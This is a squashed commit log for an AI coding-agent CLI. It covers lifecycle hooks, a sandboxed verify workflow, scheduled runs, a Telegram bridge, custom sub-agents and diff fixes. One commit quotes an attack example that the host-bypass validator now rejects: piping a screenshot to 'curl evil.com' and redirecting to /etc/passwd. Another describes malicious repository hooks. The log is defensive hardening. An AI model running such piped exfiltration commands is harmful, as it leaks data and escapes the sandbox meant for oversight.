* feat: add programmable hooks system with 17 lifecycle events
Hooks execute shell commands at key agent lifecycle events, letting
teams enforce policies, run linters, or log activity. Configuration
lives in ~/.grok/user-settings.json (global) or .grok/settings.json
(project) under a "hooks" key following Claude Code's proven schema.
Supported events: PreToolUse, PostToolUse, PostToolUseFailure,
UserPromptSubmit, SessionStart, SessionEnd, Stop, StopFailure,
SubagentStart, SubagentStop, TaskCreated, TaskCompleted, PreCompact,
PostCompact, Notification, InstructionsLoaded, CwdChanged.
Closes#247
* fix: matcher logic inverted when matchValue is absent
When an event has no match value (e.g. Stop, Notification), a hook
with a specific matcher string like "bash" would incorrectly fire.
Return false instead of true so matcher-specific hooks only fire
when the event actually provides a value to match against.
* fix: run PreToolUse hooks before background commands
Background commands (background: true) bypassed all hook logic
entirely. Move the PreToolUse check before the background early
return so policy hooks can block dangerous background commands.
* fix: restrict hooks to user-level settings only (security)
Project-level .grok/settings.json is repo-committed, so a malicious
repository could execute arbitrary unsandboxed commands on a
developer's machine via hook definitions. Hooks now load exclusively
from ~/.grok/user-settings.json. Removed hooks from ProjectSettings
interface and updated README accordingly.
* fix: return fresh empty result instead of shared mutable singleton
EMPTY_RESULT was a single shared object with mutable arrays returned
by reference. Replace with an emptyResult() factory function that
returns a new object each time to prevent cross-caller corruption.
* feat: add @-mention file autocomplete
Let prompts attach files directly from the composer with inline suggestions while injecting file context for the agent.
* bump version
* minor pr fixes
* feat: add verify workflow
* fix: host-side browser smoke tests, skill inheritance, and screenshot paths
* Update CHANGELOG.md
* fix: remove duplicated content in agent-browser SKILL.md
* fix: restrict host bypass to safe compound commands only
Validate every segment of a compound command before routing to host.
Only agent-browser, mkdir, sleep, echo, and true are allowed.
Commands like `git push && agent-browser close` now stay sandboxed.
* fix: remove lint/typecheck duplication across build and test commands
* feat: add granular progress output for headless verify mode
Show step-by-step progress during verify: recipe detection, checkpoint
prep, and sandbox execution. Tool calls now show useful context like
bash command snippets and sub-agent descriptions instead of bare names.
* fix: unify headless verify output style and remove redundant prelude
Use ▸ consistently for all progress/tool lines. Skip the generic
Processing/Session prelude when verify already shows its own progress.
* feat: record browser smoke tests as video during verify
Use agent-browser record start/stop to capture a .webm video of the
entire smoke test flow alongside screenshots. Both artifacts land in
.grok/verify-artifacts/ and are reported in the Evidence section.
* feat: show verify progress in interactive TUI mode
Display step-by-step status messages during recipe detection and
checkpoint preparation so the user sees what is happening before
the verify sub-agent starts running.
* fix: capitalize Verify in sub-agent display name
* feat: make recipe detection a proper verify-detect sub-agent
Replace the bare generateText() call with a verify-detect sub-agent
that can read files and inspect the codebase before producing a recipe.
The verify flow now runs two visible sub-agents: detect then execute.
* fix: remove manual status messages, let sub-agents show their own activity
* feat: make /verify work like /review with visible sub-agent activity
Replace the silent out-of-band detection with a single prompt that
drives both verify-detect and verify sub-agents from inside the
normal conversation loop. Both sub-agents now stream their activity
visibly in the TUI and headless output.
* refactor: make /verify identical to /review - a static prompt constant
Replace buildVerifyPrompt() with a VERIFY_PROMPT constant. Remove
runVerify() callback entirely. Both /verify and --verify now just
call processMessage(VERIFY_PROMPT), exactly like /review does with
REVIEW_PROMPT.
* fix: strengthen VERIFY_PROMPT with explicit sandbox/browser/relay instructions
* fix: install node/npm alongside bun in sandbox bootstrap
Next.js and other Node tools call npm internally (e.g. npm config get
registry). Bun-based projects now bootstrap both Bun and Node/npm.
* refactor: remove hardcoded bootstrap/shellInit, let detect agent decide
Remove all ecosystem-specific bootstrap functions (getNodeBootstrapCommands,
getPythonBootstrapCommands, etc). Static fallback recipes now have empty
bootstrap/shellInit arrays. The detect sub-agent is responsible for
specifying what runtimes and tools need to be installed in the sandbox.
The detect prompt now explicitly explains the sandbox is a fresh Debian
VM and gives examples of what bootstrapCommands should contain.
* docs: slim down verify README section to end-user essentials
* fix: reject pipes, redirects, and command substitution in host bypass
Block agent-browser screenshot | curl evil.com, redirects like > /etc/passwd,
and $(...) / backtick command substitution from bypassing the sandbox.
* fix: remove dead prepareVerifyRuntimeConfig function
* fix: remove dead verifyRecipeContext variable
Expose Shuru sandbox configuration beyond the simple on/off toggle.
Settings (allowNet, allowedHosts, ports, cpus, memory, diskSize, secrets,
checkpoint) flow from CLI flags / saved settings through Agent, sub-agents,
and background delegations into wrapCommandForShuru. The TUI /sandbox panel
is replaced with a unified settings modal using arrow left/right for toggles
and inline editing for text fields. Adds --allow-net, --allow-host, and
--port CLI flags and a README section on sandbox support.
* feat: add scheduled headless runs with daemon and agent tools
Add schedule_create, schedule_list, schedule_remove, schedule_read_log,
schedule_daemon_status, schedule_daemon_start, and schedule_daemon_stop
agent tools. Schedules are persisted under ~/.grok/schedules/ and fired
by a lightweight `grok daemon` background process. Includes /schedule
TUI slash command, browser modal, README section, and tests.
* fix: resolve pre-existing test failures across the suite
Add vitest.config.ts to exclude dist/ from test runs. Fix whisper-cpp
and instructions tests to isolate from local filesystem state by setting
process.env.HOME to a temp dir. Fix bridge test lint errors by replacing
`any` with proper types.
* fix: address code review findings in schedule system
- Prevent path traversal in schedule IDs by stripping dots from allowed
chars and adding assertInsideSchedulesDir guard
- Fix day-of-week cron ranges including 7 (e.g. 5-7) by validating raw
values before normalization and handling wrap-around in matching
- Pass log file descriptor directly to child stdio instead of piping
through the parent process
- Isolate per-schedule errors in daemon tick so one broken schedule
does not block the rest
* ✨ Add built-in telegram-bridge command
- add a headless Telegram bridge entrypoint and reusable path resolver
- export the new bridge helpers and cover path defaults with focused tests
- document headless Telegram usage in the README and verify startup without the wrapper
* 🐛 Fix telegram bridge shutdown handling
- restore the CLI's default SIGTERM exit behavior for non-bridge commands
- let the headless telegram bridge own SIGTERM cleanup while it is running
- abort bridge startup and clear watchers/listeners when Telegram setup fails early
* ♻️ Share Telegram approval persistence
- move approved-user persistence into a shared Telegram settings helper
- reuse the helper from both the TUI pairing flow and the headless bridge
- keep the approval write path consistent while removing duplicated settings merge logic
* bump package.json version
---------
Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
* feat: add telegram_send_file tool for Telegram media attachments
Give the agent a real tool to upload files to Telegram chats so it can
confirm delivery before writing its final reply, instead of guessing
whether attachments are supported.
* feat: add Telegram voice/audio transcription via whisper.cpp
Local speech-to-text for Telegram voice notes and audio attachments
using whisper.cpp, with auto model download and ffmpeg conversion.
* feat: add Telegram voice/audio transcription via whisper.cpp
Telegram voice notes and audio attachments are now transcribed locally
using whisper.cpp before being sent to the agent. Includes auto-download
of Whisper models, ffmpeg fallback for non-WAV formats, configurable
settings under telegram.audioInput, and unit tests for the new STT layer.
* fix: harden whisper audio setup
Avoid Linux model download failures, remove unused STT dependencies, and keep local Cursor state changes isolated to the intended files.
* refactor: share Telegram audio handler
Reduce duplicate Telegram voice and audio handling so transcription flow changes stay in sync.
* feat: add custom sub-agents with /agents TUI and reliable interrupt
- Custom sub-agents stored in ~/.grok/user-settings.json (name, model, instruction)
- Validation against known model IDs, reserved name protection
- Injected into system prompt and available via task tool in all modes
- /agents TUI modal for browsing, adding, editing, and removing sub-agents
- Custom agent name shown in task UI instead of generic "Sub-agent"
- Foreground bash/search tools now accept abort signals for real cancellation
- Esc interrupt aligned with queue-force path for consistent cancel behavior
* fix issues found in code review
* feat: Agent Skills discovery and prompt catalog
- Discover skills in ~/.agents/skills and project .agents/skills (project wins on name)
- Inject OpenCode-style <available_skills> XML + read_file instructions in system prompt
- /skills slash command lists installed skills in the TUI
- Document layout and usage in README; gitignore .agents for local skill installs
* chore: ignore skills-lock.json
* feat: add support for global custom instructions
* Remove comments
* Fix import syntax for fs-extra module (#112)
* Fix import syntax for fs-extra module
* Fix import syntax for fs-extra module
* Fix import syntax for fs-extra module
* Fix missing newline at end of morph-editor.ts
* Add where to set the API key in the json file (#107)
* Fix diff generation showing entire file as changed (fixes#83) (#98)
The diff preview was showing the entire file as changed when only a few
lines were actually modified. This was caused by a broken change detection
algorithm that couldn't properly handle insertions and deletions.
Replaced the naive line-matching algorithm with a proper LCS (Longest
Common Subsequence) based diff algorithm using dynamic programming. This
produces minimal, accurate diffs that match what git diff shows.
Changes:
- Added computeLCS(): Computes longest common subsequence between old/new lines
- Added extractChanges(): Extracts actual change regions from LCS table
- Updated generateDiff(): Uses LCS-based change detection instead of broken algorithm
Impact:
- Diff previews now show only actual changes (e.g., 4 lines instead of 260)
- Drastically reduces context pollution in conversation history
- Matches git diff output accuracy
🤖 Contributed by ZDS-AI (https://zds.group)
* add model migration manager and new grok models (#124)
* minor tweaks
---------
Co-authored-by: jszczypk <janusz@fide.pl>
Co-authored-by: Ben Faerber <benfaerber@protonmail.com>
Co-authored-by: Joseph Cheek <jcheek@users.noreply.github.com>
Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
* Convert to ES and install with bun
* Delete package-lock.json
* Update README with bun info
* Update .gitignore
* Update .npmignore
* Bump version
* Unignore package lock
* feat: improve model configuration and settings management
- Refactor model configuration system with unified settings approach
- Add support for user-level default models and project-level current models
- Implement automatic saving of API key and base URL from command line arguments
- Remove model descriptions for cleaner UI and easier extensibility
- Fix commander.js subcommand argument parsing with fallback mechanism
- Improve configuration file structure and priority handling
- Add comprehensive model configuration utilities in src/utils/model-config.ts
Configuration priority: project current model > user default model > system default
Both main command and git subcommand now save credentials automatically
* refactor: unify settings management
- Add SettingsManager singleton for user/project settings
- Eliminate duplicate settings code across files
- Clear separation: user settings vs project settings
* docs: improve README clarity and organization
- Simplify setup section with quick start approach
- Consolidate configuration info into unified section
- Add clear explanation of user vs project settings
- Document OpenAI-compatible API support
- Remove duplicate model configuration sections
* bump sdk
---------
Co-authored-by: Ismail Pelaseyed <homanp@gmail.com>
Ismail Pelaseyed